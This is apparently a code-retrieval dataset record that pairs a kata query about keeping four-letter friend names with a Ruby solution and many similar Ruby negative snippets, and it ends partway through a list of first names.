"0.53519446",
"0.53473276",
"0.5345201",
"0.53360164",
"0.5333515",
"0.53254515",
"0.53254515",
"0.5315025",
"0.53124785",
"0.53116554",
"0.53116316",
"0.530876"
] | 0.5752653 | 34 |
7kyu I made a program that filters a list of strings and returns a list with only friends name in it. If a name has exactly 4 letters in it, you can be sure that it has to be a friend of yours! Otherwise, you can be sure he's not... | def friend(friends)
x = []
friends.each {
|i| puts i.length
if i.length == 4
x.push(i)
end
}
x
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def friend(friends)\n \n return [] if friends.empty? \n friends=friends.split(\",\") if (friends.is_a? String)\n friends.select{|friend| friend.length==4 && (friend.is_a? String)}\nend",
"def friend(friends)\r\n friends_name = []\r\n friends.each {|friend| friends_name.push(friend) if friend.length == 4}\r\n return friends_name\r\nend",
"def friend(friends)\n friends.select do |friend|\n friend.length == 4\n end\nend",
"def friend(friends)\n friends = [\"Ryan\", \"Kieran\", \"Jason\", \"Mark\"]\n friends.select {|friends| put friends if friends.length = 4}\nend",
"def found_friends(people)\n friends = []\n people.each do |person|\n if (person == \"Don\")\n friends << \"Don\"\n end\n if (person == \"John\")\n friends << \"John\"\n end\n if (person == \"Kent\")\n friends << \"Kent\"\n end\n end\n return friends\nend",
"def friend(friends)\n \n friend_array = []\n friends.each { |x| if x.length == 4 then friend_array.push(x) end}\n \nreturn friend_array \n \nend",
"def friend(friends)\narr = []\nfriends.each {|x| arr << x if x.length == 4}\narr\nend",
"def is_friend?(all_friends, friend_name)\n # loop over each friend in friend array\n # get friend's name\n # if friend's name == friend_name,\n # return true\n # at end of loop, if friend name not found\n # return false\n\nend",
"def match_friends(txt, is_channel=nil)\n re = Regexp.new(txt, Regexp::IGNORECASE) # Match any embedded text, independent of case\n channel_constraint = is_channel ? \"channel_referent_id > 0\" : \"channel_referent_id = 0\"\n (is_channel ? User.all : followees).where(channel_constraint).select { |other|\n re.match(other.username) || re.match(other.fullname) || re.match(other.email)\n }\n end",
"def filter_friends\n inname = DATA_DIR.join('unpacked', 'all-friends-ids.csv')\n rows = open(inname, 'r'){|i| i.readlines }\n hsh = rows.inject(Hash.new{|h, k| h[k] = 0}) do |h, row|\n uname, friend_id = row.strip.split(',')\n h[friend_id] += 1\n h\n end\n\n fhsh = hsh.select{|k, v| v >= MIN_FRIEND_COUNT }\n end",
"def is_friend(word1, word2)\n\n # Get the difference in length of the words\n difference = (word1.length - word2.length).abs\n \n #If the difference is greater than 1, then the words can't be friends. \n if difference > 1\n return false\n\n # If they are the same word, they can't be friends.\n elsif word1 == word2\n return false\n\n # If the difference in length is 1 or 0 they could potentially be friends.\n elsif difference == 1 or difference == 0\n\n # Boolean to tell if the words are the same length or not\n same_length = (difference == 0)\n\n # Determines which word is longer, and stores it in the appropriate place.\n # If they are the same length, word1 will be the \"longer\" word\n longer_word = (word1.length > word2.length ? word1 : word2)\n shorter_word = (word1.length > word2.length ? word2 : word1)\n\n # Loop through each letter to compare them, with the maximum index being the length of the longer word\n (0..longer_word.length).each do |i|\n # if the letters are the same, move on\n if word1[i] == word2[i]\n next\n\n # If they aren't the same, then they are at least one letter off. \n # Now check to see if they are more than one letter off. \n else\n # If the mismatched words are the same length, the remainder of each word must match for them to be friends. \n if same_length\n word1_remainder = word1[i+1...word1.length]\n word2_remainder = word2[i+1...word2.length]\n\n if word1_remainder == word2_remainder\n return true\n else\n return false\n end\n\n # If the mismatched words are not the same length, then the remainder of the longer word \n # must match the remainder of the shorter word including the letter where the mismatch occured.\n else\n longer_word_remainder = longer_word[i+1...longer_word.length]\n # Note that the beginning index for the shorter word is `i` instead of `i+1`.\n shorter_word_remainder = shorter_word[i...shorter_word.length]\n\n if longer_word_remainder == shorter_word_remainder\n return true\n else\n return false\n end\n end\n end\n end\n end\n\n # This should never be hit, but if it does, return that the two words are not friends. \n return false\nend",
"def one_word_names(list)\n own = list.select do |c|\n c[:name].include?(\" \") == false\n end\n return own\nend",
"def names_thingy\n arr = %w(John, KB, Oliver, Cory, Matthew, Christopher)\n arr.shuffle!\n for name in arr\n puts name\n end\n arr.reject { |elem| elem.length <= 5 }\nend",
"def friend(array)\n array.select { |e| e if e.size == 4 }\nend",
"def allowed_friend?(friend)\n @allowed.include? friend.to_s.split('/').first\n end",
"def fivv_buzz(str)\n # array of desired words\n # split string into words (only needed if taking in a string, skip for array.)\n # iterate over words, check that the word starts with e AND is shorter than 6 characters.\n buzzed_words = []\n words = str.split(' ')\n words.each do |word|\n if 'eE'.include?(word[0]) && word.length < 6 \n # (word[0] == 'e' || word[0] == 'E') && word.length < 6\n buzzed_words << word\n end\n end\n return buzzed_words\nend",
"def full_names(names = [])\n names.select { |name| name.match /\\w\\s\\w/ }\nend",
"def ignore_theater name\n list = ['INDRP - El Campanil Theatre - Antioch, CA',\n 'PE - El Rey Theatre - Chico, CA',\n 'Castro',\n 'INDLF',\n 'EXSV - Highland Park 3 - Highland Park, CA',\n 'CFMY - Cinefamily@The Silent Movie Theatre - Los Angeles, CA',\n 'REL - Reel Cinema - Wofford Heights, CA',\n 'AR - Auditorium Rental, AS - Auditorium Screening, CW - Closed Weekdays, DP - Damaged Print, EF - Equipment Failure',\n 'FF - Film Festival, MC - Movie Canceled, NA - No Authorization, NB - No Bookings, ND - Called, No Data Available',\n 'NE - No Engagement, NP - No Patrons, PR - Pending Revenue, SS - Special Screening, TC - Temporarily Closed',\n 'INDRP - Downtown Independent - Los Angeles, CA',\n '21CC - Victory Theatre - Safford, AZ',\n 'EGYP - Egyptian - Hollywood, CA'\n ]\n list.each do |v|\n return true if name.include?(v)\n end\n return false\nend",
"def friend_by_last_name\n\t @friend_alphabet.each do |openstruct_letter|\n\t if openstruct_letter.letter.eql?(params[:sort_letter])\n\t openstruct_letter.active_status = true\n\t\t end\n\t end\n\t @friends.delete_if {|individual_user| individual_user.facebook_name.split(' ').last[0,1].upcase.eql?(params[:sort_letter]) == false}\n end",
"def find_people_with_no_friends(people)\n no_friends_array = []\n for person in people\n if person[:friends].length() == 0\n no_friends_array << person[:name]\n end\n end\n return no_friends_array\nend",
"def no_friends(people)\n no_friends = []\n for person in people\n if person[:friends] == []\n no_friends.push(person[:name])\n end\n end\n return no_friends\nend",
"def getDirectFriends(name) \n validate_arguments([name])\n matched_friendships = [] \n registered_friends.each do |friendship_instance|\n (matched_friendships << friendship_instance) if (friendship_instance.include?(name))\n end\n friends_list = []\n matched_friendships.each { instance| friends_list << instance.delete(name)}\n direct_friends = friends_list.uniq.flatten\n return direct_friends\n \n end",
"def filter_list(l)\n l.reject { |x| x.is_a? String }\nend",
"def friends_formatted\n uri = self.uri\n query = Ruta::Sparql.select.where(\n [uri, RDF::FOAF.knows, :friend],\n [:friend, RDF::FOAF.name, :realname]\n )\n nfriends = []\n query.each_solution { |sol| nfriends.push({id: sol.friend.as(Member).get_id, realname: sol.realname.to_s}) }\n nfriends\n end",
"def filters?(str); end",
"def filters?(str); end",
"def trimmed_names \n trimmed_names = []\n raw_names.each do |name|\n article_trim_strings.each do |trim| #Remove all trim words from name\n name = !name.index(trim).nil? ? name.sub(trim, \"\") : name\n end\n name = name.strip\n if(name.length > 5)\n\ttrimmed_names << name #Add trimmed name to the list\n end\n end\n trimmed_names\n end",
"def filter_names name, where_cond\n mydb = \"tennis.db\"\n #mytable = \"matches\"\n xxx = \"1=1\"\n if name\n # this implies you want a player who has played another which is not applicable here.\n xxx = %[ winner_name = \"#{name}\" or loser_name = \"#{name}\" ]\n end\n result = %x{ \nsqlite3 #{mydb} <<!\n.mode tabs\n select winner_name, loser_name from matches where #{xxx} #{where_cond};\n!\n }\n arr = result.split(/[\\n\\t]/).uniq\n # split each row and append onto arr, finally uniq it\n=begin\n arr = []\n rows.each do |wl|\n a = wl.split(\"\\t\")\n arr.concat a\n end\n arr = arr.uniq\n=end\n puts \"ARR: #{arr.size}\" if $opt_verbose\n return arr\nend",
"def long_planeteer_calls(names)\n names.any? {|name| name.length > 4}\n \nend",
"def first_letter_filter\n\tputs \"Choose first letter of student name to filter:\"\n\tletter = gets.chomp\n\tselected_students = @students.select { |student| student[:name].chars.first == letter }\n\tlist(selected_students)\nend",
"def getUserFriendList(user, usersDatabase)\r\n puts \"#{user.fullName} have #{user.friendList.length} friend(s)\"\r\n user.friendList.each do |friendId|\r\n usersDatabase.each do |user|\r\n if user.id == friendId\r\n puts user.fullName\r\n end\r\n end\r\n end\r\n puts\r\nend",
"def select_largo_may_5(names)\n imp= names.select{|nombres|nombres.length >5} \n print \"los nombres que son más largos de 5#{imp} \\n\"\nend",
"def special_find(names)\n results = @restaurants.find_all do |restaurant|\n names.detect { |name| name.casecmp(restaurant.name) == 0 }\n end\n # Add separators\n results.join(\"\\n\" + (\"-\" * 80) + \"\\n\")\n end",
"def filter_list l\n l.reject { |x| x.is_a? String}\nend",
"def find_no_friends(people)\n no_mates = []\n for person in people\n if person[:friends].length == 0\n no_mates.push(person)\n end\n end\n return no_mates\nend",
"def following?(friends)\n friends.find { |f| f[\"screen_name\"].casecmp(tname) == 0 }\n end",
"def is_friends_with?(friend)\n \t friends.include?(friend)\n \t end",
"def worlize_friends\n User.where(:guid => self.worlize_friend_guids)\n end",
"def no_friends(people)\n result = []\n for person in people\n result << person if person[:friends].empty?\nend\nreturn result\nend",
"def filter_students_by_initial(initial, student_names)\n student_name_array = extract_name(student_names)\n return (student_name_array.select{ |student_name| student_name[0] == initial.to_s.capitalize})\nend",
"def starring(whazzername)\n # Find the movies with an actor who had a name like `whazzername`.\n # A name is like whazzername if the actor's name contains all of the\n # letters in whazzername, ignoring case, in order.\n\n # ex. \"Sylvester Stallone\" is like \"sylvester\" and \"lester stone\" but\n # not like \"stallone sylvester\" or \"zylvester ztallone\"\n\nend",
"def friends\n friendships.where(accepted: true).map(&:friend)\n end",
"def match?(given_names); end",
"def connection_filter\n if params[:name].present?\n @friends = current_user.friends.by_name(params[:name]) + current_user.inverse_friends.by_name(params[:name])\n @friends.delete(current_user)\n end\n @friends = @friends.paginate(:page => params[:page], :per_page => 10)\n end",
"def friend_names(reverse_alphabetical: false)\n names = friends.map(&:name).sort\n reverse_alphabetical ? names.reverse : names\n end",
"def isFriendWith(user, testedUser)\r\n if user.friendList.include? testedUser.id\r\n puts \"#{user.fullName} is friend with #{testedUser.fullName}\"\r\n else\r\n puts \"#{user.fullName} is not friend with #{testedUser.fullName}\"\r\n end\r\nend",
"def named_t\n array = [\"Taylor\", \"Francis\", \"Bella\", \"Tori\", \"Jay\"]\n array.select do |name|\n name.start_with?(\"T\")\n end\nend",
"def getIndirectFriends(name)\n validate_arguments([name])\n direct_friends = self.getDirectFriends(name)\n indirect_firends = [] \n intermediate = direct_friends\n while true do \n intermediate.each { |friend| current_iteration << self.getDirectFriends(friend)}\n break if current_iteration.all? { |friend| indirect_friends.include?(friend) }\n current_iteration.uniq.each { |friend| indirect_firends << friend}\n indirect_firends.uniq!\n intermediate = current_iteration\n current_iteration = [] \n end\n return indirect_firends\n end",
"def proposed_friends\n friendships.map{ |fs| fs.friend unless fs.accepted? }.compact\n end",
"def filter_invalid_word(word)\n # Define a string which includes all valid letter\n letters = \"abcdefghijklmnopqrstuvwxyz\"\n # Define return variable and give a default value\n valid = true\n # transfer the word to lowercase and take out off \\r\\n\n word = word.chomp.downcase\n # set return value as false if the length of word not exactly equal 5\n if (word.split(//).size != 5)\n valid = false\n end\n # loop each word\n word.split(//).each do |letter|\n # If the letter occurs more than once in the word, set return value to false\n if (word.count(letter.to_s)) > 1 \n valid = false\n end\n # If the letter does not included in valid letter, set return value to false\n if (letters.include?(letter) == false) \n valid = false\n end\n end\n # return a bool value to method\n return valid\n end",
"def filter2(string)\n\nend",
"def print_short_names(names, max_letters=12)\n\n puts \"All names shorter than %i characters\" % max_letters\n names.select {|anyname| anyname[:name].length < max_letters}.each_with_index do |name, index|\n print_name(name, index)\n end\nend",
"def short_names\n list_new = []\n @students.each do |student|\n if student[:name].length < 12\n list_new << student\n end\n end\n puts \"These names are shorter than 12 characters in length.\".center(70)\n print(list_new)\nend",
"def searchUsers(word)\n @cuid = isSignedIn ? current_user.id : nil\n @w = word.downcase()\n @usUnf = User.all # users unfiltered\n @us = []\n @usUnf.each do |u|\n @friendOrAdmin = areFriends(@cuid, u.id) || ((@cuid != nil) ? (User.find_by(id: @cuid).admin == true) : false)\n if u.username.downcase().include?(@w) || \n (@friendOrAdmin ? \n ((u.fname != nil) ? u.fname.downcase().include?(@w) : false) || \n ((u.lname != nil) ? u.lname.downcase().include?(@w) : false)\n : false)\n @us.push(u)\n end\n end\n return @us\n end",
"def create_match(nominee)\n names = []\n pname = nominee[:name]\n names << pname\n names << pname.sub(%r{ [A-Z]\\. }, ' ') # drop initial\n personname = ASF::Person.find(nominee[:id]).public_name\n names << personname if personname\n list = names.uniq.map{|name| Regexp.escape(name)}.join('|')\n # N.B. \\b does not match if it follows ')', so won't match John (Fred)\n # TODO: Work-round is to also look for EOS, but this needs to be improved\n %r{\\b(#{list})(\\b|$)}i\nend",
"def loners(people)\n lonely_array = []\n for person in people\n if person[:friends] == []\n lonely_array.push(person[:name])\n end\n end\n return lonely_array\nend",
"def filter_list(l)\n new_list = []\n l.map do |item|\n if item.class != String\n new_list << item\n end \n end \n new_list\nend",
"def print_names_shorter_than_12(students)\n students = students.select { |student| student[:name].size < 12 }\n print(students)\nend",
"def names\n nameparts = name.split(' ')\n firstinitial = nameparts.second ? \"#{firstname[0, 1]}.\" : ''\n secondname = nameparts.third ? nameparts.second : ''\n secondinitial = nameparts.third ? \"#{secondname[0, 1]}.\" : ''\n middlenames = nameparts.length > 2 ? nameparts.from(1).to(nameparts.from(1).length - 2) : []\n middleinitials = ''\n middlenames.each_with_index do |name, index|\n middleinitials << ' ' if index.positive?\n middleinitials << \"#{name.to_s[0, 1]}.\"\n end\n lastname = nameparts.last\n names = []\n names << full_name # Joseph Aloysius Hansom\n names << \"#{title} #{name}\" if titled? # Sir Joseph Aloysius Hansom\n names += aka # Boz, Charlie Cheese, and Crackers\n names << \"#{title} #{firstinitial} #{middleinitials} #{lastname}\" if titled? && nameparts.length > 2\n names << \"#{title} #{firstinitial} #{lastname}\" if titled? && nameparts.length > 1\n names << name if name != full_name # Joseph Aloysius Hansom\n if name.include? ',' # George Inn, Barcombe\n names << name.split(/,/).first\n return names\n end\n names << \"#{title} #{name.split(/ of /).first}\" if name.include?(' of ') && titled? # King Charles II [of England]\n names << name.split(/ of /).first if name.include?(' of ') # [King] Charles II [of England]\n names << \"#{firstname} #{middleinitials} #{lastname}\" if nameparts.length > 2 # Joseph A[loysius]. R[obert]. Hansom\n names << \"#{firstinitial} #{middleinitials} #{lastname}\" if nameparts.length > 2 # J. A. R. Hansom\n names << \"#{firstname} #{nameparts.second} #{lastname}\" if nameparts.length > 2 # Joseph Aaron Hansom\n names << \"#{firstname} #{secondinitial} #{lastname}\" if nameparts.length > 2 # Joseph A. Hansom\n names << \"#{firstinitial} #{secondname} #{lastname}\" if nameparts.length > 2 # J. Aaron Hansom\n names << \"#{title} #{firstname} #{lastname}\" if nameparts.length > 2 && titled? # Sir Joseph Hansom\n names << \"#{firstname} #{lastname}\" if nameparts.length > 2 # Joseph Hansom\n names << \"#{firstinitial} #{lastname}\" if nameparts.length > 1 # J. Hansom\n names << \"#{title} #{lastname}\" if titled? # Lord Carlisle\n names << \"#{title} #{firstname}\" if titled? # Sir William\n names << firstname if nameparts.length > 1 # Charles\n names << lastname if nameparts.length > 1 # Kitchener\n names.uniq\n end",
"def likes(names)\n result = \"\"\n if names.length == 1\n result = names[0] + \" likes this\"\n elsif names.length == 2\n result = names[0] + \" and \" + names[1] + \" like this\"\n elsif names.length == 3\n result = names[0] + \", \" + names[1] + \" and \" + names[2] + \" like this\"\n elsif names.length >= 4\n result = names[0] + \", \" + names[1] + \" and \" + \"#{names.length - 2}\" + \" others like this\"\n elsif names.empty?\n result = \"No one likes this\"\n end\n return result\nend",
"def friends\n output = []\n friendships.each do |f|\n output << f.friend\n end\n output\n end",
"def get_buzz_limited_member_names(buzz_members)\n user_name = []\n buzz_members.each{|member| user_name << member.user.full_name}\n user_name.join(' , ')\n end",
"def search_names(logins)\n logins.select { |x| x[0].end_with?(\"_\")}\nend",
"def find_a(arry)\n\n arry.select do |word|\n \"#{word}\".start_with?(\"a\")\n\n end\n # newlist\n end",
"def filter(santa)\n @pool.select do |member|\n member.lastName != santa.lastName\n end\n end",
"def test_7_verify_get_names_from_db\n user_array = get_names()\n names = [[\"Doe, Jen\", \"Fairbanks Jr., Jim Bob\", \"Smith, Joy\", \"Doe, Jill\", \"Langer, Jeff\", \"Smith-Lewis, June\", \"Doe, John\", \"Scott M.D., Jack\", \"\", \"Doe III, Joe\", \"Smith, Jane C.\", \"\"],\n [\"Doe, Jen\", \"Fairbanks Jr., Jim Bob\", \"Smith, Jane C.\", \"Doe, Jill\", \"Langer, Jeff\", \"Smith, Joy\", \"Doe, John\", \"Roberts, Jake\", \"Smith-Lewis, June\", \"Doe III, Joe\", \"Scott M.D., Jack\", \"\"]]\n result = names.include? user_array\n assert_equal(true, result)\n end",
"def family_name_matches\n filtered_matches(ignore: [:first_name], partial_or_perfect: [:family_name], perfect: [:street, :city])\n end",
"def get_friends_of_friends( in_limit )\n puts \"get_friends_of_friends()\"\n \n limit = 5\n if( in_limit && in_limit > 0 )\n limit = in_limit\n end\n \n puts \"Limit: #{limit}\"\n \n possible_friends = Array.new\n \n # Loop through all users invitaitons\n add_count = 0\n Invite.find( :all, :conditions => { :host_user => id } ).each do |invite_personal|\n \n # Loop through all friend invitations\n target_id = invite_personal.target_user\n puts \"Checking Friend: #{target_id}\"\n \n Invite.find( :all, :conditions => { :host_user => target_id } ).each do |invite_target|\n \n # Get potential new friend \n new_friend_id = invite_target.target_user\n puts \"Friend #{target_id} is also friends with #{new_friend_id}\"\n \n # See if this users is already a friend\n existing_invite = Invite.find( :all, :conditions => { :host_user => id, :target_user => new_friend_id } )\n if( existing_invite && existing_invite.length > 0 )\n puts \"You are already friends with #{new_friend_id}\"\n next\n elsif( existing_invite && new_friend_id != id )\n puts \"You are not friends with #{new_friend_id}\"\n new_friend = User.find( new_friend_id )\n if( new_friend.get_days_last_use < 9999 )\n possible_friends.push( new_friend )\n add_count = add_count + 1\n end \n end \n \n #if( add_count == limit )\n # break\n #end\n \n end\n \n # Sort by last use\n possible_friends.sort! { |a,b| a.get_days_last_use <=> b.get_days_last_use } \n \n if( possible_friends.length > limit )\n possible_friends = possible_friends.slice( 0, limit )\n end\n return possible_friends\n \n end \n \n end",
"def print_few(students)\n puts \" \"\n puts \"Students with names beginning with T or less than 12 letters\"\n students.each do |student|\n name = student[:name]\n if name.length < 12 || name[0] == \"T\"\n puts name\n end\n end\nend",
"def filter_word?(word, values)\n return true unless word\n word = word.strip\n word.length < 4 ||\n word =~ /\\d{3}/ ||\n (values[0] < 5 && values[1] < 5 ) ||\n STOPWORDS.include?(word)\nend",
"def print_length_less_12\n name_less_than_12_letters = @students.select { |student| student[:name].length < 12 }\n if name_less_than_12_letters.empty?\n puts \"-There are no students who have less than 12 letters in their name\"\n else\n print_names(name_less_than_12_letters)\n end\nend",
"def friendslist()\n hash_list = SQLQuery.new.get('friends', ['user_id', 'user2_id']).where.open_.if('user_id', @id).or.if('user2_id', @id).close_.and.if('status', 0).send\n list = []\n hash_list.each do |hash|\n if hash['user_id'] == @id\n list << Friend.get(@id, hash['user2_id'])\n else\n list << Friend.get(@id, hash['user_id'])\n end\n end\n return Sorter.last_interaction(list)\n end",
"def list(*friends) # Splat (*) turns the friends parameter into an array\n p friends\nend",
"def filter1(string)\n\nend",
"def badish\n# Post process each bad entry to match against the profesor names in a regular expression fashion\nbad.each do |item|\n # unpack\n id = materias[item][0]\n rfc = materias[item][3]\n p_name = materias[item][4]\n #puts materias[item].inspect if (DEBUG)\n\n #name = []\n profesores.each do |profesor|\n # normalize string and split into words\n name = profesor[1].chomp.upcase.gsub(/\\s+/,' ').gsub(/(M\\.[ICAG]|L\\.A|I\\.Q|ING|FIS|MTRO|MRTO|DRA?)\\.?$/,\"\").split(\" \")\n # match the known name against a regular expression\n if (name.length >= 5)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3]+\" \"+name[4])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 4)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 3)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 2)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n end\nend\nend",
"def filter_term_list(term_list)\n (term_list.map(&:downcase) - IGNORED_WORDS).reject { |t| t.size < 3 }\n end",
"def friends(cookie)\n Person.find_kassi_users_by_ids(get_friend_ids(cookie))\n end",
"def blacklist_filter?(str)\n @@black_list.each do |badword|\n if str.include?(badword)\n @@blacklist_count+=1\n return false\n end\n end\n true\n end",
"def articlePartialMatchNames\n names = []\n if partial_name_match #If partial name matches are allowed for this place\n #Add any words required for a match before each trimmed name\n if before_name_article_accept_strings.length != 0\n\ttrimmed_names.uniq.each do |name|\n\t before_name_article_accept_strings.each do |string|\n\t names << string + \" \" + name\n\t end\n\tend\n else\n\tnames += trimmed_names\n end\n end\n names\n end",
"def likes(names)\n remaining = names.length - 2\n\n if (names.length === 0) \n return \"no one likes this\"\n elsif (names.length === 1) \n return names[0] + \" likes this\"\n elsif (names.length === 2) \n return names[0] + \" and \" + names[1] + \" like this\"\n elsif (names.length === 3) \n return names[0] + \", \" + names[1] + \" and \" + names[2] + \" like this\"\n elsif (names.length > 3) \n return names[0] + \", \" + names[1] + \" and \" + remaining.to_s + \" others like this\"\n end\nend",
"def search_by_name(name)\n name = name.capitalize\n result_name = []\n @name_list.each_value do |element|\n if element.include? name\n result_name.push(element)\n end\n end\n if result_name.empty?\n puts \"Nobody has name is #{name}\"\n else\n puts \"\\nList member of #{name} keyword\"\n result_name.each do |element|\n index = @name_list.values.index(element)\n show_profile(index, @name_list, @dob_list)\n end\n puts \"\\n\"\n end\n end",
"def likes(names)\n who = case names.size\n when 0\n 'no one'\n when 1\n names[0]\n when 2\n names.join(' and ')\n when 3\n \"#{names[0]}, #{names[1]} and #{names[2]}\"\n else\n \"#{names[0]}, #{names[1]} and #{names.size - 2} others\"\n end\n\n \"#{who} like#{'s' if names.empty? || names.one?} this\"\nend",
"def friends_suggestion(friends_of_friends = false)\n\t\t#sql query for the requested and accepted friendships ID's using the user id\n\t\tactive_ids = \"SELECT friend_pasive_id FROM relationships WHERE friend_active_id = :user_id AND accepted = true\"\n\t\t#sql query for the received and accepted friendships ID's using the user id\n\t\tpasive_ids = \"SELECT friend_active_id FROM relationships WHERE friend_pasive_id = :user_id AND accepted = true\"\n\t\t#not answered friendship request\n\t\tfriend_requests_ids = \"SELECT friend_active_id FROM relationships WHERE friend_pasive_id = :user_id AND accepted = false\"\n\t\t#sql query for the id's of the pasive friends from the user's id friends\n\t\tfriends_pasive_friends_ids =\"SELECT friend_pasive_id FROM relationships WHERE friend_active_id IN (#{active_ids}) OR friend_active_id IN (#{pasive_ids})\"\n\t\t#sql query for the id's of the active friends from the user's id friends\n\t\tfriends_active_friends_ids =\"SELECT friend_active_id FROM relationships WHERE friend_pasive_id IN (#{active_ids}) OR friend_pasive_id IN (#{pasive_ids})\"\t\t\n\t\t\n\t\tif friends_of_friends\n\t\t\tusers_query = \"NOT (id IN (#{active_ids}) OR id IN (#{pasive_ids})) AND (id IN (#{friends_pasive_friends_ids}) OR id IN (#{friends_active_friends_ids}) ) AND (id <> :user_id ) \"\n\t\t\t\n\t\telse\n\t\t\tusers_query = \"NOT (id IN (#{active_ids}) OR id IN (#{pasive_ids}) OR id IN (#{friend_requests_ids})) AND NOT (id IN (#{friends_pasive_friends_ids}) OR id IN (#{friends_active_friends_ids}) ) AND (id <> :user_id ) \"\n\t\t\n\t\tend\n\t\treturn User.where(\"#{users_query}\", user_id: self.id).distinct.includes( avatar_attachment: :blob)\n\tend",
"def male_name\n\t%w[Aaron Abdul Abe Abel Abraham Abram Adalberto Adam Adan Adolfo Adolph Adrian Agustin Ahmad Ahmed Al Alan Albert Alberto Alden Aldo Alec Alejandro Alex Alexander Alexis Alfonso Alfonzo Alfred Alfredo Ali Allan Allen Alonso Alonzo Alphonse Alphonso Alton Alva Alvaro Alvin Amado Ambrose Amos Anderson Andre Andrea Andreas Andres Andrew Andy Angel Angelo Anibal Anthony Antione Antoine Anton Antone Antonia Antonio Antony Antwan Archie Arden Ariel Arlen Arlie Armand Armando Arnold Arnoldo Arnulfo Aron Arron Art Arthur Arturo Asa Ashley Aubrey August Augustine Augustus Aurelio Austin Avery Barney Barrett Barry Bart Barton Basil Beau Ben Benedict Benito Benjamin Bennett Bennie Benny Benton Bernard Bernardo Bernie Berry Bert Bertram Bill Billie Billy Blaine Blair Blake Bo Bob Bobbie Bobby Booker Boris Boyce Boyd Brad Bradford Bradley Bradly Brady Brain Branden Brandon Brant Brendan Brendon Brent Brenton Bret Brett Brian Brice Britt Brock Broderick Brooks Bruce Bruno Bryan Bryant Bryce Bryon Buck Bud Buddy Buford Burl Burt Burton Buster Byron Caleb Calvin Cameron Carey Carl Carlo Carlos Carlton Carmelo Carmen Carmine Carol Carrol Carroll Carson Carter Cary Casey Cecil Cedric Cedrick Cesar Chad Chadwick Chance Chang Charles Charley Charlie Chas Chase Chauncey Chester Chet Chi Chong Chris Christian Christoper Christopher Chuck Chung Clair Clarence Clark Claud Claude Claudio Clay Clayton Clement Clemente Cleo Cletus Cleveland Cliff Clifford Clifton Clint Clinton Clyde Cody Colby Cole Coleman Colin Collin Colton Columbus Connie Conrad Cordell Corey Cornelius Cornell Cortez Cory Courtney Coy Craig Cristobal Cristopher Cruz Curt Curtis Cyril Cyrus Dale Dallas Dalton Damian Damien Damion Damon Dan Dana Dane Danial Daniel Danilo Dannie Danny Dante Darell Daren Darin Dario Darius Darnell Daron Darrel Darrell Darren Darrick Darrin Darron Darryl Darwin Daryl Dave David Davis Dean Deandre Deangelo Dee Del Delbert Delmar Delmer Demarcus Demetrius Denis Dennis Denny Denver Deon Derek Derick Derrick Deshawn Desmond Devin Devon Dewayne Dewey Dewitt Dexter Dick Diego Dillon Dino Dion Dirk Domenic Domingo Dominic Dominick Dominique Don Donald Dong Donn Donnell Donnie Donny Donovan Donte Dorian Dorsey Doug Douglas Douglass Doyle Drew Duane Dudley Duncan Dustin Dusty Dwain Dwayne Dwight Dylan Earl Earle Earnest Ed Eddie Eddy Edgar Edgardo Edison Edmond Edmund Edmundo Eduardo Edward Edwardo Edwin Efrain Efren Elbert Elden Eldon Eldridge Eli Elias Elijah Eliseo Elisha Elliot Elliott Ellis Ellsworth Elmer Elmo Eloy Elroy Elton Elvin Elvis Elwood Emanuel Emerson Emery Emil Emile Emilio Emmanuel Emmett Emmitt Emory Enoch Enrique Erasmo Eric Erich Erick Erik Erin Ernest Ernesto Ernie Errol Ervin Erwin Esteban Ethan Eugene Eugenio Eusebio Evan Everett Everette Ezekiel Ezequiel Ezra Fabian Faustino Fausto Federico Felipe Felix Felton Ferdinand Fermin Fernando Fidel Filiberto Fletcher Florencio Florentino Floyd Forest Forrest Foster Frances Francesco Francis Francisco Frank Frankie Franklin Franklyn Fred Freddie Freddy Frederic Frederick Fredric Fredrick Freeman Fritz Gabriel Gail Gale Galen Garfield Garland Garret Garrett Garry Garth Gary Gaston Gavin Gayle Gaylord Genaro Gene Geoffrey George Gerald Geraldo Gerard Gerardo German Gerry Gil Gilbert Gilberto Gino Giovanni Giuseppe Glen Glenn Gonzalo Gordon Grady Graham Graig Grant Granville Greg Gregg Gregorio Gregory Grover Guadalupe Guillermo Gus Gustavo Guy Hai Hal Hank Hans Harlan Harland Harley Harold Harris Harrison Harry Harvey Hassan Hayden Haywood Heath Hector Henry Herb Herbert Heriberto Herman Herschel Hershel Hilario Hilton Hipolito Hiram Hobert Hollis Homer Hong Horace Horacio Hosea Houston Howard Hoyt Hubert Huey Hugh Hugo Humberto Hung Hunter Hyman Ian Ignacio Ike Ira Irvin Irving Irwin Isaac Isaiah Isaias Isiah Isidro Ismael Israel Isreal Issac Ivan Ivory Jacinto Jack Jackie Jackson Jacob Jacques Jae Jaime Jake Jamaal Jamal Jamar Jame Jamel James Jamey Jamie Jamison Jan Jared Jarod Jarred Jarrett Jarrod Jarvis Jason Jasper Javier Jay Jayson Jc Jean Jed Jeff Jefferey Jefferson Jeffery Jeffrey Jeffry Jerald Jeramy Jere Jeremiah Jeremy Jermaine Jerold Jerome Jeromy Jerrell Jerrod Jerrold Jerry Jess Jesse Jessie Jesus Jewel Jewell Jim Jimmie Jimmy Joan Joaquin Jody Joe Joel Joesph Joey John Johnathan Johnathon Johnie Johnnie Johnny Johnson Jon Jonah Jonas Jonathan Jonathon Jordan Jordon Jorge Jose Josef Joseph Josh Joshua Josiah Jospeh Josue Juan Jude Judson Jules Julian Julio Julius Junior Justin Kareem Karl Kasey Keenan Keith Kelley Kelly Kelvin Ken Kendall Kendrick Keneth Kenneth Kennith Kenny Kent Kenton Kermit Kerry Keven Kevin Kieth Kim King Kip Kirby Kirk Korey Kory Kraig Kris Kristofer Kristopher Kurt Kurtis Kyle Lacy Lamar Lamont Lance Landon Lane Lanny Larry Lauren Laurence Lavern Laverne Lawerence Lawrence Lazaro Leandro Lee Leif Leigh Leland 